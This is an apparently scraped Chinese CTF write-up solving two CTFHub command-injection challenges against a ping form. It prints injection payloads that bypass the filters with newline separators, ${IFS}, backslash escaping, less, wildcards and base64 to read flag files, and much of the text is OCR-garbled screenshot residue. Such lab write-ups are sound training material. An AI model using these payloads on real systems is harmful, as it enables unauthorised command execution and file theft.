</code> 	r: #000000"> DOBB"><?php \$res = <span style="</td"><td>="color: #0000BB">FAL</td><td>SE<td>an≻∖spa</td><td>n style</td><td>e=″co</td><td>lor: #(</td><td>007700</td><td>">;<br< td=""></br<></td></td>	="color: #0000BB">FAL	SE <td>an≻∖spa</td> <td>n style</td> <td>e=″co</td> <td>lor: #(</td> <td>007700</td> <td>">;<br< td=""></br<></td>	an≻∖spa	n style	e=″co	lor: #(007700	">; <br< td=""></br<>

<

5.过滤运算符

直接上手,执行ls命令,发现成功执行 http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

CTFHub 命令注入-过滤运算符

IP:

Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => flag_7666637111301.php [2] => index.php)	
php</td <td></td>	
<pre>\$res = FALSE;</pre>	
if (isset(\$_GET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; if (!preg_match_all("/(\ \&)/", \$ip, \$m)) { \$ end =	
Lind yrun C Lind yrun C <thlind c<="" th="" yrun=""> <thlind c<="" th="" yrun=""></thlind></thlind>	
Execute Post data Referer User Agent Cookies Clear All	

接下来,直接使用cat读取文件

http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_7666637111301.php

CTFHub 命令注入-过滤运算符	
IP:	
Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] =>	
php</td <td></td>	
<pre>\$res = FALSE;</pre>	
<pre>if (isset(\$_GET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; if (!preg_match_all("/(\ \&)/", \$ip, \$m)) { \$cmd = "ping -c 4 {\$ip}"; exec(\$cmd, \$res); } }</pre>	
□ 古香器 ② 控制台 □ 调试器 1↓ 网络 {} 样式编辑器 □ 性能 ① 内存 吕 存储 〒 无障碍环境 200 应用程序 ● HackBar	ت ··· ×
Encryption + Encoding + SQL + XSS + LFI + XXE + Other +	Help!
Load URL http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_7666637111301.php § Split URL	li.
Execute Post data Referer User Agent Cookies Clear All	

查看页面源代码,得到flag

÷	\rightarrow C	۲ ۵		원 view-source:http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_7666637111301. [☆	lii\ @	D 4	•		ا 🛞	2 🖄	=
	<pre></pre> // Content of the second s	YPE html> itle>CTFHul > FHub 命令泊 action="#" abel for=" nput type= >	b 命令注 主入-过滤 [´] method= [´] ip [*])IP: ^{-*} text [*] i	λ-过滤运算符 运算符 ="GET"> \br> d="ip" name="ip"> value="Ping">							
	<hr/> >	v									
	<pre> Array</pre>										
	[0] [1]] => PING]] => <?php	127.0.0.	1 (127.0.0.1): 56 data bytes nub <i>{e988e5986b75797c397a9b6a}</i>							
	<code> <span <="" body="" code="" html<="" td=""><td><span styl<br="">style="col > ></td><td>le=″color lor: #000</td><td>:: #000000"> UBB"><?php \$res </td>= </code>	<span styl<br="">style="col > >	le= ″color lor: #000	:: #000000"> UBB"><?php \$res	FALSE </td <td>span><</td> <td>span sty</td> <td>le=″co</td> <td>lor: #0</td> <td>07700″</td> <td>'>;<br< td=""></br<></td>	span><	span sty	le=″co	lor: #0	07700″	'>; <br< td=""></br<>

CTFHub 命令注入-过滤运算符

IP:	
Array ([0] => Array ([0] =>)	
[1] => Array ([0] =>)	
) php</th <th>J</th>	J
□ □ 空 香 雷 □ 控制台 □ 调试器 1↓ 网络 () 样式编辑器 ① 性能 ① 内存 目 存储 〒 无脑嵴环境 200 应用程序 ● HackBar	9 3 🗊 🕶 🗙
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -	Help!
Image: Split URL http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1 is	
Execute Post data Referer User Agent Cookies Clear All	

方法二

http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;base64 flag_7666637111301.php 使用base64加密这个文件

CTFHub 命令注入-过滤运算符



使用base64在线解密,得到flag

:TFHub 命令注入-过滤运算符

Ping	
tray	
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => PD9waHAgLy8gY3RmaHVie2U50Dh1NTk4NmI3NTc5N2MzOTdhOWI2YX0K	
'php	
tes = FALSE;	
<pre>: (isset(\$_CET['ip']) && \$_CET['ip']) { \$ip = \$_CET['ip']; \$m = []; if (!preg_match_all("/(\ \&)/", \$ip, \$m)) { \$cmd = "ping -c 4 {\$ip}"; } }</pre>	
? 白 查看器 D 控制台 D 调试器 11 网络 {} 样式编辑器 O 性能 ①: 内存 日 存储 🛉 无踪等环境 300 应用程序 🔮 Hack8ar	0 ··· ×
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -	Help!
a Load URL PD9waHAgLy8gY3RmaHVie2U5ODhiNTk4Nmi3NTc5N2MzOTdhOWl2YX0K php // ctfhub{e988e5986b75797c397a9b6a}</td <td></td>	
🖁 Spit URL	11.
Execute Post data Referer User Agent Cookies Ciear All	

https://blog.csdn.net/m_de_g

6.综合过滤练习

直接使用逗号分隔(;)进行分隔,执行ls命令,发现逗号(;)被过滤 http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

CTFHub 命令注入-综合练习

IP:	
Array ([0] => Array ([0] => :)	
[1] => Array ([0] => :)	
<pre>/ // /?php</pre>	
□ □ 查看器 □ 控制台 □ 调试器 1↓ 网络 () 样式编辑器 □ 性能 ① 内存 日 存储 十 无脑碍环境 200 应用程序 ● HackBar	⊡ ••• ×
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -	Help!
Image: Add URL http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1;is Split URL Split URL	li.
Execute Post data Referer User Agent Cookies Clear All	

https://blog.csdn.net/m_de_g

命令分隔符的绕过姿势

; %0a

%0d

&

那我们使用%0a试试,发现ls命令被成功执行

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als

IP:	_
Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => flag_is_here [2] => index.php)	
php</th <th></th>	
<pre>\$res = FALSE;</pre>	
<pre>if (isset(\$_CET['ip']) && \$_GET['ip']) { \$ip = \$_CET['ip']; \$m = []; if (!preg_match_all("/(\ & ; \/ cat flag etfhub)/", \$ip, \$m)) {</pre>	
□ 口·查看器 □ 控制台 □ 调试器 1↓ 网络 () 样式编辑器 □ 性能 ① 内存 目 存储 计 无障碍环境 3 应用程序 ● HackBar	0 … ×
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -	Help!
Load URL http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als \$\Box\$ Split URL	11.
Execute Post data Referer User Agent Cookies Clear All	

ttps://blog.csdn.net/m_de_g

发现一个名为flag_is_here的文件夹和index.php的文件,那么我们还是使用cd命令进入到文件夹下 http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd flag_is_here%0als

\leftarrow \rightarrow C \textcircled{a}	○ & challenge-438c1c1fb670566b.sandbox. ctfhub.com :10800/?ip=127.0.0.1%0Acd flag_is_here%0Als	器 ☆	II\ 🗉	4	• •	8 I	2	≡
CTFHub 命令注	入-综合练习							^
IP : Ping								
Array ([0] => Array ([1] => flag) [1] => Array ([0] => [1] => flag)) (2mbn								~
□ ○ 查看器 ○ 控制台 □ 调进	醫 🚺 网络 {}样式编辑器 🎧 性能 🕼 内存 🗄 存储 🛉 无障碍环境 🧱 应用程序 🔮 HackBar						<u></u> .	•• ×
Encryption - Encoding - SC	→ XSS → LFI → XXE → Other →						H	lelp!
Load URL http://challeng Split URL Execute Post data	e-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd flag_is_here%0als							11.

发现空格和flag被过滤,空格绕过前面已经讲述,这里就不在赘述,直接尝试\${IFS}进行空格绕过,使用fla\g反斜杠转义flag

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd\${IFS}fla\g_is_here%0als

P: Ping	
Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] => flag_300121897522180.php)	
php</td <td></td>	
<pre>\$res = FALSE;</pre>	
<pre>if (isset(\$_GET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; if (!preg_match_all("/(\ & ; \/ cat flag ctfhub)/", \$ip, \$m)) { \$cmd = "ping -c 4 {\$ip}";</pre>	J
□ ① 查看器 ② 控制台 □ 调试器 1 网络 {} 件式编辑器 ○ 性能 ①:内存 目 存储 〒 无障碍环境 3 協力程序 ● HackBar	0 ··· ×
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -	Help!
Image: Split URL http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd\$(IFS)fla\g_is_here%0als	li.
Execute Post data Referer User Agent Cookies Clear All	

https://blog.csdn.net/m_de_g

接下来,直接使用cat读取flag_300121897522180.php文件里的内容

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd\${IFS}fla\g_is_here%0acat\${IFS}fla\ g_300121897522180.php

CTFHub 命令注入-综合练习

IP : Ping	
Array ([0] => Array ([0] => cat)	
[1] => Array ([0] => cat)	
php</th <th></th>	
□ 口 查看器 □ 控制台 □ 调试器 1↓ 网络 {} 样式编辑器 □ 性能 ①: 内存 日 存储 计 无施碍环境 IIII 应用程序	0 ··· ×
Encryption + Encoding + SQL + XSS + LFI + XXE + Other +	Help!
a Load URL http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd\$(IFS)fla\g_is_here%0acat\$(IFS)fla\g_300121897522180.php	
& Split URL	
Execute Post data Referer User Agent Cookies Ciear All	

https://blog.csdn.net/m_de_g

发现过滤了cat,前面也讲过cat的绕过姿势,这里不在赘述,直接尝试less

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd\${IFS}fla\g_is_here%0aless\${IFS}fla \g_300121897522180.php

Ping

IP :

<

方法二

[list]

Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] =>	
php</td <td></td>	
<pre>\$res = FALSE;</pre>	
<pre>if (isset(\$_GET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; if (!preg_match_all("/(\ & ; \/ cat flag ctfhub)/", \$ip, \$m)) {</pre>	
□ 全 查看器 ② 技制台 ○ 減減器 1 网络 () 样式编辑器 ○ 性能 ③ 内存 合 存储 1 未无脑碍环境 3 品用程序 ● HackBar	0 ··· ×
Encryption + Encoding + SQL + XSS + LFI + XXE + Other +	Help!
Image: Control of Con	li.
Execute Post data Referer User Agent Cookies Clear All	

mposiologiosaninorm_ao_g

命令执行成功, 查看页面源代码得到flag



使用通配符进行绕过	
符号	解释
*	匹配任意长度任意字符
?	匹配任意单个字符
_	_

匹配指完范围内(list)任音单个字符。也可以是单个字符组成的集合			
	匹配指定范围内(lis	st)仟意单个字符,	也可以是单个字符组成的集合

[^list] 匹配指定范围外的任意单个字符和字符集合

符号	解释
-	_
[!list]	同[^A list]
{str1,str2,}	匹配str1或者str2或者更多字符串,也可以是集合

http://challenge-32203cc1c6b08a7e.sandbox.ctfhub.com:10800?ip=127.0.0.1%0acd\${IFS}f*%0aless\${IFS}f*

CTFHub 命令注入-综合练习

IP : Ping	
Array ([0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes [1] =>	
php</td <td></td>	
<pre>\$res = FALSE;</pre>	
<pre>if (isset(\$_GET['ip']) && \$_GET['ip']) { \$ip = \$_GET['ip']; \$m = []; if (!preg_match_all("/(\ & ; \/ cat flag ctfhub)/", \$ip, \$m)) {</pre>	
□ 查看器 D 控制台 D 调试器 1↓ 网络 {} 样式编辑器 ① 性能 ① 内存 目 存储 〒 无障碍环境 III 应用程序 ● HackBar	9 1 🗊 … X
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -	Help!
Load URL http://challenge-32203cc1c6b08a7e.sandbox.ctfhub.com:10800?ip=127.0.0.1%0acd\$(IFS)f*%0aless\$(IFS)f*	li.
Execute Post data Referer User Agent Cookies Clear All	

https://blog.csdn.net/m_de_g

查看页面源代码,也可以得到flag

html
<htps: st<="" states="" td="" www.commons.com=""></htps:>
<pre><head></head></pre>
<title>CTFHub 命令注入-综合练习</title>
 body>
AUXIPUD 助式任人 第日述 AAA
<pre>(form action="#" method="GET")</pre>
<pre>(label for="ip")IP : br></pre>
<input id="ip" name="ip" type="text"/>
<input type="submit" value="Ping"/>
(nre)
Array
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => php // ctfhub (9658761782cb100d7c9931e4)</td
<pre></pre>
(anda)(anan stule="anlay: #000000")
<pre>couerspan style="color: #000088"%bit:?hhr/stream/cenan.style="color: #007700">=%nhen:(/cnan.style="color: #007700"):/hr</pre>

如果不想查看页面源代码,也可以使用base64加密flag_318922667817912.php文件

http://challenge-32203cc1c6b08a7e.sandbox.ctfhub.com:10800?ip=127.0.0.1%0acd\${IFS}f*%0abase64\${IFS}f*

 IP:
 Pmg

 Array
 [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes

 [1] => PD9walkagLy&gY3RmaHViezk2Nrg3NjES00JjYjEwMQ3Yz&BMzFINHOK

 ??php

 Sres = FALSE;

 if (isset(\$_GCT['ip']) & & _GCT['ip']) {

 \$\$ \$ip = \$_GCT['ip'];

 \$\$ m = []:

 if (!preg_match_all('/(\|[k]:] |\/[cat|flag|ctfhub)/", \$ip, \$m)) {

 \$\$ Send = "ping = c 4 (\$ip)";

 C C mean D Bake D Bake 14 Rate () PAF E feat 1 HameBak 28 & #BEL* • hackBar

 Encryption + Encoding + SQL + XSS + LFI + XXE + Other +

 Imp://challenge-Sk2000codcdb00B7/eSandb0xctfhub.coms106000/p=12/2/0.01Mk00acd51[IS][Mk00absedcfS1[ES][]

 @ Lead URL
 Imp://challenge-Sk2000codcdb0B7/eSandb0xctfhub.coms106000/p=12/2/0.01Mk00acd51[IS][Mk00absedcfS1[ES][]

 @ Encryption + Encoding + SQL + XSS + LFI + XXE + Other +
 Helpt

 Imp://challenge-Sk2000codcdb0B07/eSandb0xctfhub.coms106000/p=12/2/0.01Mk0acd51[IS][Mk00absedcfS1[ES][]

 @ Encryption + Encoding + SQL + XSS + LFI + XXE + Other +
 Helpt

 Imp://challenge-Sk2000codcdb0B07/eSandb0xctfhub.coms1060007/p=12/2/0.01Mk0acd51[IS][Mk00absedcfS1[ES][]

 @ Encryption +
 Post data | Referer | User Agent | Cookles Clear All

niposiologioodinitotin_do_g

然后进行base64解密,即可得到flag

Baseo4.us Daseo4 11539m19用419 (最好用的 Base64 在线上具)		
Base64 URLEncode MD5 TimeStamp		
输入要进行 Base64 编码或解码的字符		
PD9waHAgLy8gY3RmaHViezk2NTg3NjE3ODJjYjEwMGQ3Yzk5MzFINH0K		
编码 (Encode) 解码 (Decode) ↓ 交换 (编码快捷键: Ctrl + Enter) ase64 编码或解码的结果:	□ 编/解码后自动全选	
php // ctfhub{9658761782cb100d7c9931e4}</th <th></th> <th></th>		
解码完毕。复制结果 生成固定链接		
也可以选择图片文件来获取它的 Base64 编码的 DataURI 形式:刘览… 未选择文件。		